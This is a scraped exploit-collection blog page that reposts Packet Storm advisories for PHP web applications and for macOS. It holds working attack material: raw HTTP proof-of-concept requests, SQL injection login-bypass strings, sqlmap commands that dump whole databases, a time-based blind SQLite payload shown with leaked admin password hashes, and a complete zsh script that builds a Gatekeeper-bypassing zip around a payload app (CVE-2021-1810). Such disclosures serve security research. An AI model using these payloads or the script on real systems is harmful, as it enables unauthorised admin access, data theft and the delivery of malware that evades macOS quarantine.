Exploit Collector
Young Entrepreneur E-Negosyo System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
Young Entrepreneur E-Negosyo System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | 5d641190d228ecb59ea63cdd91c22d3f

Download
# Exploit Title: Young Entrepreneur E-Negosyo System 1.0 - 'PRODESC' Stored Cross-Site Scripting (XSS)
# Date: 2021-10-03
# Exploit Author: Jordan Glover
# Vendor Homepage: https://www.sourcecodester.com/php/12684/young-entrepreneur-e-negosyo-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12684&title=Young+Entrepreneur+E-Negosyo+System+in+PHP+Free+Source+Code
# Version: v1.0
# Tested on: Windows 10 + XAMPP v3.3.0

Young Entrepreneur E-Negosyo System 1.0 suffers from a Cross Site Scripting (XSS) vulnerability.

Step 1 - Create a new product to sell - http://localhost/bsenordering/admin/products/index.php?view=add
Step 2 - Fill out all required fields to create a new product. Input a payload in the product description field -
Step 3 - Save the product.

The stored XSS triggers for all users that navigate to the home page.

POC

POST /bsenordering/admin/products/controller.php?action=add HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------375756297829058981022228786743
Content-Length: 1203
Origin: http://localhost
Connection: close
Referer: http://localhost/bsenordering/admin/products/index.php?view=add
Cookie: PHPSESSID=794albocs4b1st3m9hsileorpg
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="OWNERNAME"

Test
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="OWNERPHONE"

0000000000
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="PRODESC"
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="CATEGORY"

3
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="ORIGINALPRICE"

100
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="PROPRICE"

100
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="PROQTY"

100
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="image"; filename=""
Content-Type: application/octet-stream
-----------------------------375756297829058981022228786743
Content-Disposition: form-data; name="save"
-----------------------------375756297829058981022228786743--

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Young Entrepreneur E-Negosyo System 1.0 SQL Injection

https://4.bp.blogspot.com/-yl8JZs3kPK0/WWlvOF1SUeI/AAAAAAAAIMk/jv5-1ECzklsqpq4rMFWFx2wFFGh-Q9GlwCLcBGAs/s1600/h24.png
Young Entrepreneur E-Negosyo System version 1.0 suffers from a remote SQL injection vulnerability that allows for authentication bypass.

MD5 | 2760849f509e93f7ee98ccc1565239ee

Download
# Exploit Title: Young Entrepreneur E-Negosyo System 1.0 - SQL Injection Authentication Bypass
# Date: 2021-10-02
# Exploit Author: Jordan Glover
# Vendor Homepage: https://www.sourcecodester.com/php/12684/young-entrepreneur-e-negosyo-system.html
# Software Link: https://www.sourcecodester.com/download-code?nid=12684&title=Young+Entrepreneur+E-Negosyo+System+in+PHP+Free+Source+Code
# Version: v1.0
# Tested on: Windows 10 + XAMPP v3.3.0

Steps-To-Reproduce:
Step 1 Go to the admin panel http://localhost/bsenordering/admin/login.php
Step 2 – Enter the default admin username janobe and enter password test
Step 3 – Click on Sign in and capture the request in the Burp Suite
Step 4 – Change the user_email to janobe' or '1'='1
Step 5 – Click forward and now you will be logged in as an admin.

POC

POST /bsenordering/admin/login.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:92.0) Gecko/20100101 Firefox/92.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 40
Origin: http://localhost
Connection: close
Referer: http://localhost/bsenordering/admin/login.php
Cookie: PHPSESSID=him428198e798r23eagi9mapjk
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

user_email=janobe' or '1'='1&user_pass=test&btnLogin=


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
College Management System 1.0 Arbitrary File Upload

https://3.bp.blogspot.com/-PWecZP4mFlw/WWlvEzu2ALI/AAAAAAAAILE/oNE1-kA8UGAvJ1jZSurfN5UYJhXI-p6VQCLcBGAs/s1600/h134.png
College Management System version 1.0 suffers from an arbitrary file upload vulnerability.

MD5 | ae23bba60e3ab6a866b38a74d2226d16

Download
# Exploit Title: college management system - Arbitrary File Upload (Unauthenticated)
# Date: 01/10/2021
# Exploit Author: Abdulrahman https://twitter.com/infosec_90
# Vendor Homepage: https://www.eedunext.com/
# Software Link: https://code-projects.org/college-management-system-in-php-with-source-code/
# Version: 1.0
# Tested on: Kali Linux
in Admin/student.php in line 1 :

session_start();
if (!$_SESSION["LoginAdmin"])
{
header('location:../login/login.php');

}
require_once "../connection/connection.php";
$_SESSION["LoginStudent"]="";
?>
in Admin/student.php line 77:

$profile_image = $_FILES['profile_image']['name'];$tmp_name=$_FILES['profile_image']['tmp_name'];$path = "images/".$profile_image;move_uploaded_file($tmp_name, $path);

$matric_certificate = $_FILES['matric_certificate']['name'];$tmp_name=$_FILES['matric_certificate']['tmp_name'];$path = "images/".$matric_certificate;move_uploaded_file($tmp_name, $path);

$fa_certificate = $_FILES['fa_certificate']['name'];$tmp_name=$_FILES['fa_certificate']['tmp_name'];$path = "images/".$fa_certificate;move_uploaded_file($tmp_name, $path);

$ba_certificate = $_FILES['ba_certificate']['name'];$tmp_name=$_FILES['ba_certificate']['tmp_name'];$path = "images/".$ba_certificate;move_uploaded_file($tmp_name, $path);

POC fileupload.html:
exploit - file upload
Your Profile Image:
Upload Matric/OLevel Certificate:
Upload FA/ALevel Certificate:

Upload BA Certificate:
link upload :
http://127.0.0.1/2/College-Management-System/Admin/images/@infosec_90.php
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Lifestyle Store 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-B5GiRC1v-wQ/WWlu5E53nEI/AAAAAAAAIJE/W3BLkm7Hy_YnB0vtTzhGYY_ZESaF8C84ACLcBGAs/s1600/h105.png
Lifestyle Store version 1.0 suffers from a cross site scripting vulnerability.

MD5 | dfed369099a0e89c52b268c6025cdd08

Download
# Exploit Title: Lifestyle Store (Online Shop Store) 1.0 - Reflected Cross-Site Scripting (XSS)
# Date: 2021-09-30
# Author: Abdulrahman https://twitter.com/infosec_90
# Software Link: https://download-media.code-projects.org/2021/07/Online_Shop_Store_In_PHP_With_Source_Code.zip
# Version: 1.0.0
# Tested on: Kali Linux
1. Description:
The tab parameter in the login.php is vulnerable to XSS.
2. login.php in line 43 code:

if(isset($_GET["error"])){
echo $_GET['error'];
}

3. Proof of Concept:
/online-shop/login.php?error=

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Vehicle Service Management System 1.0 SQL Injection

https://2.bp.blogspot.com/-8IZk1MGzGDs/WWlvRc2I8KI/AAAAAAAAINM/SaF41lFV3n4aBJrQBjJ2SaVGr7WaiJo3gCLcBGAs/s1600/h34.png
Vehicle Service Management System version 1.0 suffers from multiple remote SQL injection vulnerabilities one of which allows for authentication bypass.

MD5 | d3cafda8b344117eabc44ad3416220ca

Download
# Exploit Title: Vehicle Service Managment 1.0 - SQL Injection Error Based
# Date: 2021-10-02
# Exploit Author: RICHARD JONES
# Vendor Homepage: https://www.sourcecodester.com/php/14972/vehicle-service-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14972&title=Vehicle+Service+Management+System+in+PHP+Free+Source+Code
# Version: v1.0
# Tested on: Windows 10

Steps-To-Reproduce:
Step 1 - Open sqlmap
Step 2 – Enter the payload string for sqlmap (edit localhost to site address)
Setp 3 - Dump database info.
SQLMAP Command:
sqlmap -u "http://localhost/vehicle_service/classes/Master.php?f=save_request" --data "id=1&category_id=2&owner_name=aa&contact=aa&email=aaaa@a.com&address=aaaaaaaaa&vehicle_name=aaaa&vehicle_registration_number=aaaa&vehicle_model=aaaa&service_id[]=3&service_type=Pick+Up&pickup_address=aa" -p id --batch --technique=E

Results:

Parameter: id (POST)
Type: error-based
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1' AND (SELECT 8850 FROM(SELECT COUNT(*),CONCAT(0x716a706b71,(SELECT (ELT(8850=8850,1))),0x71767a7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- bdrq&category_id=2&owner_name=aa&contact=aa&email=aaaa@a.com&address=aaaaaaaaa&vehicle_name=aaaa&vehicle_registration_number=aaaa&vehicle_model=aaaa&service_id[]=3&service_type=Pick Up&pickup_address=aa
Step 3:

Dump the entire database.

sqlmap -u "http://localhost/vehicle_service/classes/Master.php?f=save_request" --data "id=1&category_id=2&owner_name=aa&contact=aa&email=aaaa@a.com&address=aaaaaaaaa&vehicle_name=aaaa&vehicle_registration_number=aaaa&vehicle_model=aaaa&service_id[]=3&service_type=Pick+Up&pickup_address=aa" -p id --batch --dump
# Exploit Title: Vehicle Service Managment 1.0 - SQL Authentication Bypass
# Date: 2021-10-02
# Exploit Author: RICHARD JONES
# Vendor Homepage: https://www.sourcecodester.com/php/14972/vehicle-service-management-system-php-free-source-code.html
# Software Link: https://www.sourcecodester.com/download-code?nid=14972&title=Vehicle+Service+Management+System+in+PHP+Free+Source+Code
# Version: v1.0
# Tested on: Windows 10

Steps-To-Reproduce:
Step 1 - Goto http://site/admin/login.php (to login)
Step 2 – Enter the payload below for username and password
Setp 3 - Login as admin!

Payload:

' or 1=1-- -

# Profit

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
College Management System 1.0 Insecure Direct Object Reference

https://1.bp.blogspot.com/-ZbrkU7MDvJM/WWlvS7x--YI/AAAAAAAAINk/cO6KWZj5UFE3dAHctfHPCIXMYdjzVDfigCLcBGAs/s1600/h40.png
College Management System 1.0 suffers from an insecure direct object reference that allows a user to add an administrator without any authentication.

MD5 | 4b73bc20560b30957f9bb998b45e91f6

Download
# Exploit Title: college management system - Add admin (Unauthenticated)
# Date: 01/10/2021
# Exploit Author: Abdulrahman https://twitter.com/infosec_90
# Vendor Homepage: https://www.eedunext.com/
# Software Link: https://code-projects.org/college-management-system-in-php-with-source-code/
# Version: 1.0
# Tested on: Kali Linux
in Admin/teacher.php in line 1
session_start();
if (!$_SESSION["LoginAdmin"])
{
header('location:../login/login.php');
}
require_once "../connection/connection.php";
$_SESSION['LoginTeacher']="";
?>

in Admin/teacher.php

line 23 :$email=$_POST["email"];
line 63 :$password=$_POST['password'];
line 65 :$role=$_POST['role'];
role Admin,Teacher,Student
POC :
ADD Amin


Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Local Offices Contact Directory Site SQL Injection

https://2.bp.blogspot.com/-ulQQD3v8DYI/WWlvnLww_dI/AAAAAAAAIRM/ialO7Idq8vAmWKoyuXUdK7x44tFKJsnBwCLcBGAs/s1600/hack_img4.png
Local Offices Contact Directory Site using PHP and SQLite Free Source Code suffers from a remote SQL injection vulnerability.

MD5 | b6786101aa6c4cb696251f2b75da6e63

Download
https://www.sourcecodester.com/php/14973/local-offices-contact-directory-site-using-php-and-sqlite-free-source-code.html

## Vendor:
[href](https://www.sourcecodester.com/php/14973/local-offices-contact-directory-site-using-php-and-sqlite-free-source-code.html)

## Description:
The `search` parameter appears to be vulnerable to time-based blind
SQL injection attacks, on the web app "Local Offices Contact
Directories Site" (by oretnom23).
The malicious attacker can execute a malicious payload and he can dump
hashes authentication credentials. Then the attacker can to
take control of the admin account of the system and can steal
sensitive information and can destroy the system administrative
account.
## Payload:
```sql
---
Parameter: search (GET)
Type: time-based blind
Title: SQLite > 2.0 AND time-based blind (heavy query)
Payload: search=481614'||(SELECT CHAR(79,85,82,97) WHERE 8245=8245
AND 4378=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))))||'
---
```
- dump

```sql
Table: admin_list
[2 entries]
+----------+----------------------------------+
| username | password |
+----------+----------------------------------+
| admin | 0192023a7bbd73250516f069df18b500 |
| cblake | cd74fae0a3adf459f73bbf187607ccea |
+----------+----------------------------------+
```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/fool-CVE-nu11-100421)

## Proof:
[href](https://streamable.com/zmm464)
--
System Administrator - Infrastructure Engineer
Penetration Testing Engineer
Exploit developer at https://www.exploit-db.com/
https://www.nu11secur1ty.com/
hiPEnIMR0v7QCo/+SEH9gBclAAYWGnPoBIQ75sCj60E=
nu11secur1ty
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
Gatekeeper Bypass Proof Of Concept

https://1.bp.blogspot.com/-HfAgGXf1DOw/WWlvbMysVAI/AAAAAAAAIPI/FubFag34U7YDsw4ZG5KiakYQR-P9HSuiwCLcBGAs/s1600/h72.png
This script will create a zip file exploiting CVE-2021-1810 by creating a directory hierarchy deep enough for Archive Utility to fail setting quarantine attributes on certain files while also making some path names long enough to prevent Safari automating unzipping from unpacking the archive. Finally, the script will create a symbolic link at the top level, making the zip file appear like a normal app bundle zip file.

MD5 | 993ed96204ab42821d3eacd7f4266ff7

Download
#!/bin/zsh -e

# This script will create a zip file exploiting CVE-2021-1810 by creating a
# directory hierarchy deep enough for Archive Utility to fail setting
# quarantine attributes on certain files while also making some path names
# long enough to prevent Safari automating unzipping from unpacking the archive.
# Finally, the script will create a symbolic link at the top level, making the
# zip file appear like a normal app bundle zip file.

payload=FakeApp.app

createddir=""
pathlen=0

# create a .prefixed directory $len charactes, and increment global path length counter $pathlen
makelongdir() {
len=$1
tdir=.$(perl -e 'print "x"x'${len})
mkdir $tdir
cd $tdir
if [ "$createddir" ] ; then
createddir="$createddir/$tdir"
else
createddir="$tdir"
fi
pathlen=$(($pathlen + $len + 2)) # len+"."+"/"
}

if ! [ -x "$payload" ] ; then
echo "Need a payload (\"$payload\") in pwd to continue!"
exit 1
fi

payloaddir=$(pwd)
targetdir=$(pwd)
startdir=$(mktemp -d)
cd "$startdir"
# Make three directories of max length 255
for i in 1 2 3 ; do
makelongdir 254 # . prefix = length 255
done

# Signpost for debugging; this should be last actual file to have quarantine attribute
touch dummyfile

# ArchiveService will unzip the file contents into a path with length 153
# characters (including final "/") on Catalina, while on Big Sur
# ArchiveService uses a 138 character temp path.
# Any files or directories whose full path exceeds PATH_MAX will not get any
# com.apple.quarantine extended attribute.
# $pathlen contains amount of bytes in path so far; for the final directory
# we can calculate how many characters we need, taking the payload name into
# account.

payloadnamelength=$(echo -n $payload|wc -c)
echo payload name length: $payloadnamelength path length: $pathlen
remaining=$(( 1024 - 138 - $payloadnamelength - $pathlen))
makelongdir $(($remaining))

# save the path we have so far for the symlink creation later
appdir="$createddir"
cp -r "${payloaddir}/$payload" .

# We need a path that will end up having an absolute path name >1000 characters on the target system so that Safari will refuse to unzip the file
# ...but should still be shorter than 1017 characters, for some reason.
remaining=$((1014 - $pathlen))
makelongdir $remaining

cd "${startdir}"
# Create the symbolic link that will make the app accessible to the user
ln -s ${appdir}/$payload

rm -f ${targetdir}/poc.zip

# Create the final zip file and reveal in Finder
zip -qyr ${targetdir}/poc.zip .
echo "PoC zip containing $payload available at $targetdir"
open -R ${targetdir}/poc.zip

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
College Management System 1.0 Cross Site Scripting

https://4.bp.blogspot.com/-f2P6cxL3l-g/WWlvB5J0BVI/AAAAAAAAIKc/5_BozSRH9sAdcCSQmN2ufmoLAOqLp1P9QCLcBGAs/s1600/h125.png
College Management System version 1.0 suffers from a persistent cross site scripting vulnerability.

MD5 | fbedbfd2771cf6a28832ff287eefc9b4

Download
# Exploit Title: college management system - Stored Cross-Site Scripting (XSS) Unauthenticated
# Date: 01/10/2021
# Exploit Author: Abdulrahman https://twitter.com/infosec_90
# Vendor Homepage: https://www.eedunext.com/
# Software Link: https://code-projects.org/college-management-system-in-php-with-source-code/
# Version: 1.0
# Tested on: Kali Linux
in admin/time-table.php in line 1 :
session_start();
if (!$_SESSION["LoginAdmin"])
{
header('location:../login/login.php');
}
require_once "../connection/connection.php";
?>
in admin/time-table.php in line 17 - 27 :

$course_code=$_POST["course_code"];

$semester=$_POST["semester"];

$timing_from=$_POST["timing_from"];

$timing_to=$_POST["timing_to"];

$day=$_POST["day"];

$subject_code=$_POST["subject_code"];

$room_no=$_POST["room_no"];
is vulnerable to XSS and SqlInjection
--
Table structure for table `time_table`
--

CREATE TABLE `time_table` (
`id` int(11) NOT NULL,
`course_code` varchar(10) NOT NULL,
`semester` int(11) NOT NULL,
`timing_from` varchar(10) NOT NULL,
`timing_to` varchar(10) NOT NULL,
`day` varchar(20) NOT NULL,
`subject_code` varchar(20) NOT NULL,
`room_no` int(11) NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
20 char
POC :
XSS
Add Time Table
day No:
subject_code No:
Close

Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video

Exploit Collector
PyRDP RDP Man-In-The-Middle Tool

https://4.bp.blogspot.com/-AtnQ_7I3m3U/WWlvZV4J0qI/AAAAAAAAIOs/cujNKaH5r44v1_gHRqEIroH6JJl6WzjUACLcBGAs/s1600/h58.png
PyRDP is a Python Remote Desktop Protocol (RDP) Monster-in-the-Middle (MITM) tool and library.

MD5 | 06c0d9021f660b1493c9e09fb8e332da

Download
Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video